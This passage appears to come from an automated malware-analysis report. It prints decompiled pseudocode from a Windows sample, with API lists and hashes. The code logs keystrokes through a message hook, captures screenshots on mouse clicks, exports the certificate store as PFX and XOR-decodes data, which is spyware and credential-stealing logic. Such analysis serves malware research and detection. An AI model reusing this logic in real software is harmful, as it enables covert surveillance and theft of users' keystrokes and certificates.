																		_t239 = _t336[5];
																		_t336[6] = _t336[6] + _t344;
																		__eflags = _t239;
																		if(_t239 != 0) {
																			goto L25;
																		}
																		__eflags = _t386;
																		if(_t386 != 0) {
																			L42:
																			return 0x400;
																		}
																		_t290 = _v40 + _t344;
																		__eflags = _v920 - _t290;
																		_v920 = _t290;
																		_t345 = _t344 & 0xffffff00 | _v920 == _t290;
																		__eflags = _t336[7];
																		_v924 = _t336[0x1e];
																		_v916 = _t336[0x1c];
																		if(_t336[7] == 0) {
																			L84:
																			_t292 = _v16;
																			__eflags = _v930 - _t292;
																			if(_v930 == _t292) {
																				__eflags = _t292;
																				if(_t292 != 0) {
																					L88:
																					_t293 = E0040B9B5(_t345, _t336,  &_v936);
																					__eflags = _t293;
																					if(_t293 != 0) {
																						goto L42;
																					}
																					_t221 =  &(_t336[6]);
																					 *_t221 = _t336[6] + 0x10;
																					__eflags =  *_t221;
																					_v932 = _v892;
																					L90:
																					_t239 = _t336[5];
																					__eflags = _t239;
																					if(_t239 != 0) {
																						goto L25;
																					}
																					_v616 = E0040E271(E0040E205(_v904), _v616, _v904);
																					_t300 = E0040E271(E0040E205(0x360),  &_v936, 0x360);
																					_t369 = _t336[0x11];
																					__eflags = _t369;
																					if(_t369 != 0) {
																						while(1) {
																							_t347 = _t369 + 0x35c;
																							__eflags =  *_t347;
																							if( *_t347 == 0) {
																								break;
																							}
																							_t369 =  *_t347;
																						}
																						 *(_t369 + 0x35c) = _t300;
																						L96:
																						return 0;
																					}
																					_t336[0x11] = _t300;
																					goto L96;
																				}
																				__eflags = _t345;
																				if(_t345 == 0) {
																					goto L85;
																				}
																				goto L88;
																			}
																			L85:
																			return 0x4000000;
																		}
																		__eflags =  *_t336 - _t386;
																		if( *_t336 == _t386) {
																			L77:
																			__eflags = _v932 & 0x00000001;
																			_v930 = _v16;
																			if((_v932 & 0x00000001) == 0) {
																				_t209 =  &_v932;
																				 *_t209 = _v932 & 0x0000fff7;
																				__eflags =  *_t209;
																			}
																			_v892 = _v932;
																			_t306 = E0040C51A(_t336, _v884 - _t336[4]);
																			__eflags = _t306;
																			if(_t306 != 0) {
																				_t307 = E0040B773(_t336, _t345, _t336,  &_v936);
																				__eflags = _t307;
																				if(_t307 != 0) {
																					goto L42;
																				}
																				_t309 = E0040C51A(_t336, _t336[6]);
																				__eflags = _t309;
																				if(_t309 != 0) {
																					goto L90;
																				}
																				goto L80;
																			} else {
																				L80:
																				return 0x2000000;
																			}
																		}
																		__eflags = _a11;
																		if(_a11 == 0) {
																			goto L84;
																		}
																		goto L77;
																	}
																	__eflags = _v16 - 8;
																	if(_v16 != 8) {
																		__eflags = _v16;
																		if(_v16 != 0) {
																			goto L72;
																		}
																		_a12 = _a12 & 0;
																		_t410 = _a4;
																		_t337 =  &(_t336[0x25]);
																		_v44 =  &(_t336[0x25]);
																		while(1) {
																			_t338 = E0040C7D2(_t337, _t410, 0x4000);
																			__eflags = _t338;
																			if(_t338 == 0) {
																				break;
																			}
																			__eflags = _t338 - 0xffffffff;
																			if(_t338 == 0xffffffff) {
																				break;
																			}
																			_t314 = E0040C458(_t410, _v44, _t338);
																			__eflags = _t314 - _t338;
																			if(_t314 != _t338) {
																				_t386 = 0x60000;
																				L69:
																				_t336 = _t410;
																				goto L72;
																			}
																			_t182 =  &_a12;
																			 *_t182 = _a12 + _t338;
																			__eflags =  *_t182;
																			_t337 = _v44;
																		}
																		_t410[0x24] = _a12;
																		_t386 = 0;
																		__eflags = 0;
																		goto L69;
																	}
																	_t386 = E0040C88F(_t343, _t367, _t336,  &_v936);
																	goto L72;
																}
															} else {
																goto L46;
															}
															while(1) {
																L46:
																_t367 =  *_t399;
																__eflags =  *_t399;
																if( *_t399 == 0) {
																	goto L48;
																}
																E0040C09B(_t342);
																_t399 = _t399 + 1;
																__eflags = _t399;
																if(_t399 != 0) {
																	continue;
																}
																goto L48;
															}
															goto L48;
														}
														E0040C84E(_t336);
														return _t336[5];
													}
													E0040C84E(_t336);
													goto L42;
												}
											} else {
												do {
													 *(_t414 + _t247 - 0x25c) =  *(_t414 + _t247 - 0x25c) ^ 0x0000005a;
													_t247 = _t247 + 1;
													__eflags = _t247 - _v912;
												} while (_t247 < _v912);
												goto L33;
											}
										}
										_t336[0x1f] = _t371;
										_t336[0x21] = _a12;
										_t336[0x20] = 0;
										_t336[0x1e] = _t371;
										_t336[0x24] = _t371;
										_t336[0x1d] = _t371;
										_t336[0x22] = _t371;
										_t336[0x23] = _t371;
										goto L24;
									}
									_t239 = E0040C641(_t349, _a12, _t336);
									_t371 = 0;
									goto L28;
								}
								_t239 = E0040C5C2(_t336, _a12);
								goto L28;
							}
							_t331 = E0040C10D( &_v1456);
							__eflags = _t331;
							if(_t331 == 0) {
								goto L18;
							}
							goto L17;
						}
						_t333 = lstrlenW( &_v1456);
						__eflags =  *((short*)(_t414 + _t333 * 2 - 0x5ae)) - 0x2f;
						_v9 = 1;
						if( *((short*)(_t414 + _t333 * 2 - 0x5ae)) != 0x2f) {
							goto L15;
						}
						goto L14;
					}
				} else {
					return 0x50000;
				}
			}

0x0040c995
0x0040c99a
0x0040c99c
0x0040c9a1
0x00000000
0x0040c9a3
0x0040c9ad
0x0040c9b1
0x0040c9bd
0x0040c9c0
0x0040c9c2
0x0040c9c4
0x0040c9c7
0x0040c9c9
0x0040c9c9
0x0040c9c7
0x0040c9da
0x0040c9e0
0x0040c9e7
0x0040caa7
0x00000000
0x0040c9ed
0x0040c9ed
0x0040c9f3
0x0040c9f3
0x0040c9f7
0x0040c9fb
0x0040c9fc
0x0040c9fc
0x0040c9ff
0x0040ca02
0x0040ca02
0x0040ca07
0x0040ca0a
0x0040ca0e
0x0040ca12
0x0040ca30
0x0040ca30
0x0040ca34
0x0040ca34
0x0040ca38
0x0040ca3f
0x0040ca50
0x0040ca50
0x0040ca53
0x0040ca53
0x0040ca56
0x0040ca64
0x0040ca67
0x0040ca77
0x0040ca7a
0x0040cab3
0x0040cab6
0x00000000
0x00000000
0x0040caba
0x0040cabf
0x0040cabf
0x0040cac1
0x0040cab0
0x0040cab0
0x0040cab0
0x0040cad5
0x0040cad8
0x0040caf7
0x0040cb04
0x0040cb0a
0x0040cb0e
0x0040cb14
0x0040cb22
0x0040cb28
0x0040cb28
0x0040cb28
0x0040cb28
0x0040cb2e
0x0040cb30
0x0040cb36
0x0040cb49
0x0040cb55
0x0040cb59
0x0040cb67
0x0040cb6e
0x0040cb6f
0x0040cb79
0x0040cb86
0x0040cb8c
0x0040cb92
0x0040cb99
0x0040cb9c
0x0040cba2
0x0040cba9
0x0040cbaa
0x0040cbac
0x0040cbae
0x0040cbb2
0x0040cbb6
0x0040cbb6
0x0040cbb2
0x0040cbc4
0x0040cbcb
0x0040cbce
0x0040cbd5
0x0040cbd7
0x0040cbeb
0x0040cbeb
0x00000000
0x0040cbd9
0x0040cbd9
0x0040cbdc
0x0040cbde
0x00000000
0x00000000
0x0040cbe3
0x0040cbf1
0x0040cbf4
0x0040cbfc
0x0040cbff
0x0040cc09
0x0040cc17
0x0040cc20
0x0040cc29
0x0040cc32
0x0040cc35
0x0040cc3e
0x0040cc4c
0x0040cc54
0x0040cc61
0x0040cc64
0x0040cc67
0x0040cc72
0x0040cc80
0x0040cc85
0x0040cc95
0x0040cc98
0x0040cc9b
0x0040cca6
0x0040ccb4
0x0040ccb7
0x0040ccb9
0x0040ccc9
0x0040ccd3
0x0040ccd9
0x0040cce0
0x0040cce7
0x0040ccea
0x0040ccf5
0x0040cd01
0x0040cd06
0x0040cd08
0x0040cd2b
0x0040cd2e
0x0040cd32
0x0040cd43
0x0040cd45
0x0040cd45
0x0040cd48
0x0040cd4e
0x0040cd55
0x0040cd5c
0x0040cd5e
0x0040cd6e
0x0040cd6e
0x0040cd6e
0x0040cd70
0x0040cd78
0x0040cd7c
0x0040cd7d
0x0040cd7d
0x0040cd8b
0x0040cd8e
0x0040cd8e
0x0040cd90
0x0040cd90
0x0040cd98
0x0040cd98
0x0040cd9b
0x0040cda0
0x0040cda1
0x0040cda3
0x0040cda3
0x0040cdaa
0x0040cdac
0x0040cdae
0x0040cdb2
0x0040cdb6
0x0040cdb9
0x0040cdbb
0x0040cdc0
0x0040cdc0
0x0040cdc0
0x0040cdc0
0x0040cdb2
0x0040cdc4
0x0040cdc6
0x0040cdc8
0x0040cdd5
0x0040cdd5
0x0040cdd5
0x00000000
0x0040cdca
0x0040cdca
0x0040cdce
0x00000000
0x00000000
0x0040cdd2
0x0040cdd7
0x0040cdd7
0x0040cddb
0x0040cdde
0x0040ce4f
0x0040ce55
0x0040ce57
0x0040ce5b
0x0040ce60
0x0040ce66
0x0040ce69
0x0040ce6c
0x0040ce6e
0x00000000
0x00000000
0x0040ce74
0x0040ce76
0x0040cd11
0x00000000
0x0040cd11
0x0040ce82
0x0040ce84
0x0040ce8a
0x0040ce93
0x0040ce96
0x0040ce9a
0x0040cea0
0x0040cea6
0x0040cf23
0x0040cf23
0x0040cf26
0x0040cf2d
0x0040cf39
0x0040cf3b
0x0040cf41
0x0040cf49
0x0040cf4e
0x0040cf50
0x00000000
0x00000000
0x0040cf5d
0x0040cf5d
0x0040cf5d
0x0040cf61
0x0040cf68
0x0040cf68
0x0040cf6b
0x0040cf6d
0x00000000
0x00000000
0x0040cf90
0x0040cfab
0x0040cfb0
0x0040cfb3
0x0040cfb5
0x0040cfbe
0x0040cfbe
0x0040cfc4
0x0040cfc7
0x00000000
0x00000000
0x0040cfbc
0x0040cfbc
0x0040cfc9
0x0040cfcf
0x00000000
0x0040cfcf
0x0040cfb7
0x00000000
0x0040cfb7
0x0040cf3d
0x0040cf3f
0x00000000
0x00000000
0x00000000
0x0040cf3f
0x0040cf2f
0x00000000
0x0040cf2f
0x0040cea8
0x0040ceaa
0x0040ceb2
0x0040ceb2
0x0040cebd
0x0040cec4
0x0040cecb
0x0040cecb
0x0040cecb
0x0040cecb
0x0040cee2
0x0040ceeb
0x0040cef0
0x0040cef2
0x0040cf06
0x0040cf0b
0x0040cf0d
0x00000000
0x00000000
0x0040cf18
0x0040cf1d
0x0040cf1f
0x00000000
0x00000000
0x00000000
0x0040cef4
0x0040cef4
0x00000000
0x0040cef4
0x0040cef2
0x0040ceac
0x0040ceb0
0x00000000
0x00000000
0x00000000
0x0040ceb0
0x0040cde0
0x0040cde4
0x0040cdf8
0x0040cdfb
0x00000000
0x00000000
0x0040cdfd
0x0040ce00
0x0040ce03
0x0040ce09
0x0040ce2d
0x0040ce33
0x0040ce35
0x0040ce37
0x00000000
0x00000000
0x0040ce13
0x0040ce16
0x00000000
0x00000000
0x0040ce1e
0x0040ce23
0x0040ce25
0x0040ce48
0x0040ce44
0x0040ce44
0x00000000
0x0040ce44
0x0040ce27
0x0040ce27
0x0040ce27
0x0040ce2a
0x0040ce2a
0x0040ce3c
0x0040ce42
0x0040ce42
0x00000000
0x0040ce42
0x0040cdf4
0x00000000
0x0040cdf4
0x00000000
0x00000000
0x00000000
0x0040cd60
0x0040cd60
0x0040cd60
0x0040cd62
0x0040cd64
0x00000000
0x00000000
0x0040cd66
0x0040cd6b
0x0040cd6b
0x0040cd6c
0x00000000
0x00000000
0x00000000
0x0040cd6c
0x00000000
0x0040cd60
0x0040cd36
0x00000000
0x0040cd3b
0x0040cd0c
0x00000000
0x0040cd0c
0x0040cb38
0x0040cb38
0x0040cb38
0x0040cb40
0x0040cb41
0x0040cb41
0x00000000
0x0040cb38
0x0040cb36
0x0040ca7f
0x0040ca82
0x0040ca88
0x0040ca8f
0x0040ca92
0x0040ca98
0x0040ca9b
0x0040caa1
0x00000000
0x0040caa1
0x0040ca6e
0x0040ca73
0x00000000
0x0040ca73
0x0040ca5d
0x00000000
0x0040ca5d
0x0040ca47
0x0040ca4c
0x0040ca4e
0x00000000
0x00000000
0x00000000
0x0040ca4e
0x0040ca1b
0x0040ca21
0x0040ca2a
0x0040ca2e
0x00000000
0x00000000
0x00000000
0x0040ca2e
0x0040c9b3
0x00000000
0x0040c9b3

APIs

lstrcpyA.KERNEL32(?,00403C52,?,?,00000008), ref: 0040CAD8
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00000104,00000000,00000000,?,00000008), ref: 0040CAF7
lstrlenA.KERNEL32(?,?,00000008), ref: 0040CB04
lstrcatA.KERNEL32(?,00403C54,?,00000008), ref: 0040CB22
lstrcpyA.KERNEL32(?,00403C52,?,00000008), ref: 0040CB55

Strings

/, xrefs: 0040CA21
UT, xrefs: 0040CCD9
Z, xrefs: 0040CB38

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy$ByteCharMultiWidelstrcatlstrlen
String ID: /$UT$Z
API String ID: 3032072033-4273390458
Opcode ID: a889bf2bf8650a8527535626ee940f7d5046b831497a905ee673ce20ea1efef9
Instruction ID: af41e3f99e8fd50c86cd80f6f96f5d63a9685af9f2001f8e77c5ccf37c3d495d
Opcode Fuzzy Hash: a889bf2bf8650a8527535626ee940f7d5046b831497a905ee673ce20ea1efef9
Instruction Fuzzy Hash: 13125071D00258CBDF21DF68C8C079ABBB5AF55304F1442BAE848BB286D7789E85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041D7B7, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041D7B7(MSG* _a4) {
				char _v524;
				char _v780;
				char _v840;
				char _v864;
				short _v884;
				intOrPtr* _v888;
				intOrPtr _v900;
				void* __edi;
				void* __esi;
				int _t25;
				signed int _t27;
				signed int _t32;
				void* _t36;
				intOrPtr _t39;
				WCHAR* _t45;
				MSG* _t54;
				WCHAR* _t65;
				intOrPtr* _t66;
				signed int _t67;
				void* _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x374;
				_t54 = _a4;
				if(_t54 == 0 || E0040548D() == 0) {
					L20:
					return TranslateMessage(_t54);
				} else {
					_t25 = _t54->message;
					if(_t25 != 0x201) {
						__eflags = _t25 - 0x100;
						if(_t25 != 0x100) {
							goto L20;
						}
						__eflags = _t54->wParam - 0x1b;
						if(_t54->wParam == 0x1b) {
							goto L20;
						}
						_t27 = GetKeyboardState( &_v780);
						__eflags = _t27;
						if(_t27 == 0) {
							goto L20;
						}
						_t32 = ToUnicode(_t54->wParam, _t54->lParam & 0x000000ff,  &_v780,  &_v884, 9, 0);
						__eflags = _t32;
						if(_t32 <= 0) {
							goto L20;
						}
						__eflags = _t32 - 1;
						if(__eflags != 0) {
							if(__eflags > 0) {
								L18:
								__eflags = 0;
								 *((short*)(_t69 + 0x10 + _t32 * 2)) = 0;
								_push( &_v884);
								L19:
								E0041D61A();
								goto L20;
							}
							L17:
							__eflags = _v884 - 0x20;
							if(_v884 < 0x20) {
								goto L20;
							}
							goto L18;
						}
						__eflags = _t54->wParam - 8;
						if(_t54->wParam != 8) {
							goto L17;
						}
						_push(0x40458c);
						goto L19;
					}
					EnterCriticalSection(0x4238f4);
					if( *0x4238ec > 0) {
						 *0x4238ec =  *0x4238ec + 0xffff;
						_t36 = 2;
						E00407384(_t36,  &_v864);
						_t39 = E00409736( &_v864, 0x1e, 0x1f4);
						_v900 = _t39;
						if(_t39 != 0) {
							E00407384(0,  &_v840);
							_t65 =  &_v884;
							E00407384(1, _t65);
							_t45 =  *0x4238e4; // 0x0
							if(_t45 != 0) {
								_t65 = _t45;
							}
							E0040EF28( &_v840, 0x104,  &_v524,  &_v840);
							_t66 = _v888;
							E0041E535(0x104, _t66,  &_v524);
							 *((intOrPtr*)( *_t66 + 8))(_t66, _t65,  *0x422518, GetTickCount());
						}
					}
					LeaveCriticalSection(0x4238f4);
					goto L20;
				}
			}

0x0041d7bd
0x0041d7c4
0x0041d7cb
0x0041d90d
0x0041d91a
0x0041d7de
0x0041d7de
0x0041d7e6
0x0041d89c
0x0041d8a1
0x00000000
0x00000000
0x0041d8a3
0x0041d8a7
0x00000000
0x00000000
0x0041d8ae
0x0041d8b4
0x0041d8b6
0x00000000
0x00000000
0x0041d8d6
0x0041d8dc
0x0041d8de
0x00000000
0x00000000
0x0041d8e0
0x0041d8e3
0x0041d8f2
0x0041d8fc
0x0041d8fc
0x0041d8fe
0x0041d907
0x0041d908
0x0041d908
0x00000000
0x0041d908
0x0041d8f4
0x0041d8f4
0x0041d8fa
0x00000000
0x00000000
0x00000000
0x0041d8fa
0x0041d8e5
0x0041d8e9
0x00000000
0x00000000
0x0041d8eb
0x00000000
0x0041d8eb
0x0041d7f1
0x0041d7ff
0x0041d80a
0x0041d817
0x0041d818
0x0041d827
0x0041d82c
0x0041d832
0x0041d83a
0x0041d841
0x0041d846
0x0041d84b
0x0041d852
0x0041d854
0x0041d854
0x0041d875
0x0041d87a
0x0041d884
0x0041d88c
0x0041d88c
0x0041d832
0x0041d894
0x00000000
0x0041d894

APIs

TranslateMessage.USER32(?), ref: 0041D90E

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

EnterCriticalSection.KERNEL32(004238F4), ref: 0041D7F1
LeaveCriticalSection.KERNEL32(004238F4), ref: 0041D894

Part of subcall function 00409736: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00409762
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdiplusStartup), ref: 00409779
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00409784
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 0040978F
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 0040979A
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 004097A5
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 004097B0
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 004097BB
Part of subcall function 00409736: LoadLibraryA.KERNEL32(ole32.dll), ref: 00409803
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,CreateStreamOnHGlobal), ref: 00409812
Part of subcall function 00409736: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00409824
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,CreateDCW), ref: 00409835
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,CreateCompatibleDC), ref: 00409840
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,CreateCompatibleBitmap), ref: 0040984B
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,GetDeviceCaps), ref: 00409856
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,SelectObject), ref: 00409861
Part of subcall function 00409736: GetProcAddress.KERNEL32(00000000,BitBlt), ref: 0040986C

GetTickCount.KERNEL32 ref: 0041D856
GetKeyboardState.USER32(?), ref: 0041D8AE
ToUnicode.USER32 ref: 0041D8D6

Strings

, xrefs: 0041D8F4

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$CriticalSection$CountEnterKeyboardLeaveMessageObjectSingleStateTickTranslateUnicodeWait
String ID:
API String ID: 2762424063-3916222277
Opcode ID: 2b94bb3516c17f13abe2aecd8be57b9b35cfd01ff254e5b3d31ac7345b7a5fb0
Instruction ID: 8ac70ed8c2f365a32e019da1e39d8517630bc911710cc0225d0197b9e5f3602b
Opcode Fuzzy Hash: 2b94bb3516c17f13abe2aecd8be57b9b35cfd01ff254e5b3d31ac7345b7a5fb0
Instruction Fuzzy Hash: 1F31D5B1A003019BDB20AF65DC49ADB77ACEB40344F44483BF954E7191D73CD985CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F4DA, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(}<A,00000000,00000000,00000001,F0000040,00000000,00413C7D,?,00000030,?,?,?,00414196,?), ref: 0040F4F3
CryptCreateHash.ADVAPI32(00008003,00008003,00000000,00000000,?,?,?,00414196,?), ref: 0040F50B
CryptHashData.ADVAPI32(?,00000010), ref: 0040F527
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 0040F53F
CryptDestroyHash.ADVAPI32(?), ref: 0040F556
CryptReleaseContext.ADVAPI32(?,00000000,?,?,00414196,?), ref: 0040F560

Strings

}<A, xrefs: 0040F4EC, 0040F4EF

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamRelease
String ID: }<A
API String ID: 3186506766-3510643432
Opcode ID: 72e5115405ff8336bf1fc52ae03bb7c02f7b3bcc78b21ae843e9ec09baab96a4
Instruction ID: 00cc36ce199187f0b99fd858c698fa9a600c74aa5816440ee4e48de16c0a2e5b
Opcode Fuzzy Hash: 72e5115405ff8336bf1fc52ae03bb7c02f7b3bcc78b21ae843e9ec09baab96a4
Instruction Fuzzy Hash: 1711E875800248BFEF119FA4DD84EEE7B3EEB04344F008471F651B15A1D6769E989B24

Uniqueness

Uniqueness Score: -1.00%

Function 0041C435, Relevance: 12.1, APIs: 8, Instructions: 119encryptiontimeCOMMON

Download Yara Rule

APIs

CertOpenSystemStoreW.CRYPT32(00000000,00404558), ref: 0041C450
CertEnumCertificatesInStore.CRYPT32(00000000,00000000), ref: 0041C46C
CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 0041C478
PFXExportCertStoreEx.CRYPT32(?,?,?,00000000,00000004), ref: 0041C4B7
PFXExportCertStoreEx.CRYPT32(?,?,?,00000000,00000004), ref: 0041C4E7
CharLowerW.USER32(?,?,00000000,00000001), ref: 0041C505
GetSystemTime.KERNEL32(?,?,?,00000000,00000001), ref: 0041C510
CertCloseStore.CRYPT32(?,00000000), ref: 0041C599

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CertStore$CertificatesEnumExportSystem$CharCloseLowerOpenTime
String ID:
API String ID: 3751268071-0
Opcode ID: e6f79678ff440fe385228254d7526ae5f1b7c27b9e640d0cda2bf6e5d30b78cb
Instruction ID: 46a61992f93c69e6d9e372edf25bf7f1843a22be682010466f35e3e40a67e2a0
Opcode Fuzzy Hash: e6f79678ff440fe385228254d7526ae5f1b7c27b9e640d0cda2bf6e5d30b78cb
Instruction Fuzzy Hash: 8D41D971148355ABD710AF65CC80AAF7BDDAB88304F000D3FFA94E2190D638DD898766

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB83, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041BB83(void* __ecx, WCHAR* __edx, WCHAR* _a4, char _a7) {
				void* _v12;
				short _v536;
				char _v1056;
				short _v1576;
				struct _WIN32_FIND_DATAW _v2168;
				signed int _t52;
				void* _t57;
				signed int _t76;
				void* _t102;
				signed int _t103;
				signed int _t104;
				void* _t105;

				_t79 = _a4;
				_t103 = __edx;
				_t102 = __ecx;
				if(PathCombineW( &_v536, _a4, __edx) == 0) {
					L12:
					return 0;
				}
				if(PathIsDirectoryW( &_v536) != 0) {
					if(E0040D118(_t102, _t103, 0, 4) != 0) {
						goto L12;
					}
					_t81 =  &_v536;
					 *((short*)(_t105 + E0040E271( &_v1576, _t81, E0040ED84( &_v536) + _t49) - 0x624)) = 0;
					_t52 = E0040ED84( &_v1576);
					_t104 = _t103 | 0xffffffff;
					E0040E5D6(_t104, 0x40452c, _t105 + _t52 * 2 - 0x624);
					_t57 = FindFirstFileW( &_v1576,  &_v2168);
					_v12 = _t57;
					if(_t57 == _t104) {
						goto L12;
					}
					_a7 = 1;
					do {
						if(_v2168.cFileName == 0x2e) {
							goto L8;
						}
						_t86 =  &_v536;
						 *((short*)(_t105 + E0040E271( &_v1056, _t86, E0040ED84( &_v536) + _t60) - 0x41c)) = 0;
						E0040E5D6(_t104, 0x404534, _t105 + E0040ED84( &_v1056) * 2 - 0x41c);
						E0040E5D6(_t104,  &(_v2168.cFileName), _t105 + E0040ED84( &_v1056) * 2 - 0x41c);
						if(E0041BB83(_t102, _t105 + E0040ED84(_t79) * 2 - 0x41c, _t79) == 0) {
							_a7 = 0;
							L11:
							FindClose(_v12);
							return _a7;
						}
						L8:
					} while (FindNextFileW(_v12,  &_v2168) != 0);
					goto L11;
				}
				_t76 = E0040D118(_t102, _t105 + E0040ED84(_t79) * 2 - 0x214,  &_v536, 2);
				asm("sbb eax, eax");
				return  ~_t76 + 1;
			}

0x0041bb8d
0x0041bb92
0x0041bb9d
0x0041bba7
0x0041bd16
0x00000000
0x0041bd16
0x0041bbbc
0x0041bbf5
0x00000000
0x00000000
0x0041bbfb
0x0041bc18
0x0041bc26
0x0041bc32
0x0041bc3c
0x0041bc4f
0x0041bc55
0x0041bc5a
0x00000000
0x00000000
0x0041bc60
0x0041bc64
0x0041bc6c
0x00000000
0x00000000
0x0041bc6e
0x0041bc8b
0x0041bcac
0x0041bccb
0x0041bce8
0x0041bd04
0x0041bd08
0x0041bd0b
0x00000000
0x0041bd11
0x0041bcea
0x0041bcfa
0x00000000
0x0041bd02
0x0041bbd8
0x0041bbdf
0x00000000

APIs

PathCombineW.SHLWAPI(?,00000008,?,00000000,00000000,00000001), ref: 0041BB9F
PathIsDirectoryW.SHLWAPI(?), ref: 0041BBB4
FindFirstFileW.KERNEL32(?,?,?,?,00000000,?,00000000,00000004,?,00000000,00000000,00000001), ref: 0041BC4F
FindNextFileW.KERNEL32(00000008,?,?,00000000,?,00000000,00000004,?,00000000,00000000,00000001), ref: 0041BCF4
FindClose.KERNEL32(00000008,?,00000000,?,00000000,00000004,?,00000000,00000000,00000001), ref: 0041BD0B

Strings

., xrefs: 0041BC64

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$FilePath$CloseCombineDirectoryFirstNext
String ID: .
API String ID: 559975808-248832578
Opcode ID: 4e7b29248bf79beb737db5e0be5b29863825b40c9a98faee06da2a4c67cf876d
Instruction ID: b18e9cc7a278fe40524a58c0a96126d3b507dd98af75c6b9c5fe9fd51728a3da
Opcode Fuzzy Hash: 4e7b29248bf79beb737db5e0be5b29863825b40c9a98faee06da2a4c67cf876d
Instruction Fuzzy Hash: 17412A705001195ACB24EB65DD85FED7378EF54304F1045BFB909E21D0EF389E998B99

Uniqueness

Uniqueness Score: -1.00%

Function 00413A0C, Relevance: 10.6, APIs: 7, Instructions: 107
sleepfilesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00413A0C(intOrPtr __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed char _a8, intOrPtr _a12, intOrPtr _a16, void* _a20, long _a24, long _a28) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				intOrPtr _v1120;
				void* _v1124;
				int _t48;
				signed int _t57;
				long _t64;
				signed char _t67;
				void* _t75;
				signed int _t79;

				_t75 = __edx;
				_v1120 = __ecx;
				_t48 = E00413B62("*",  &_v524, __ecx);
				if(_t48 == 0) {
					L25:
					return _t48;
				}
				_t48 = FindFirstFileW( &_v524,  &_v1116);
				_v1124 = _t48;
				if(_t48 != 0xffffffff) {
					_t67 = _a8;
					while(1) {
						_t79 = 0;
						if(_a20 != 0 && WaitForSingleObject(_a20, 0) != 0x102) {
							break;
						}
						if(E0041376D( &(_v1116.cFileName)) != 0) {
							L23:
							if(FindNextFileW(_v1124,  &_v1116) != 0) {
								continue;
							}
							break;
						}
						_t57 = _v1116.dwFileAttributes & 0x00000010;
						if(_t57 == 0 || (_t67 & 0x00000002) == 0) {
							if(_t57 != _t79 || (_t67 & 0x00000004) == 0) {
								goto L17;
							} else {
								goto L10;
							}
						} else {
							L10:
							if(_a4 <= _t79) {
								L17:
								if((_v1116.dwFileAttributes & 0x00000010) != 0 && (_t67 & 0x00000001) != 0 && E00413B62( &(_v1116.cFileName),  &_v524, _v1120) != 0) {
									_t99 = _a24;
									if(_a24 != 0) {
										Sleep(_a24);
									}
									E00413A0C( &_v524, _t75, _t99, _a4, _t67, _a12, _a16, _a20, _a24, _a28);
								}
								goto L23;
							}
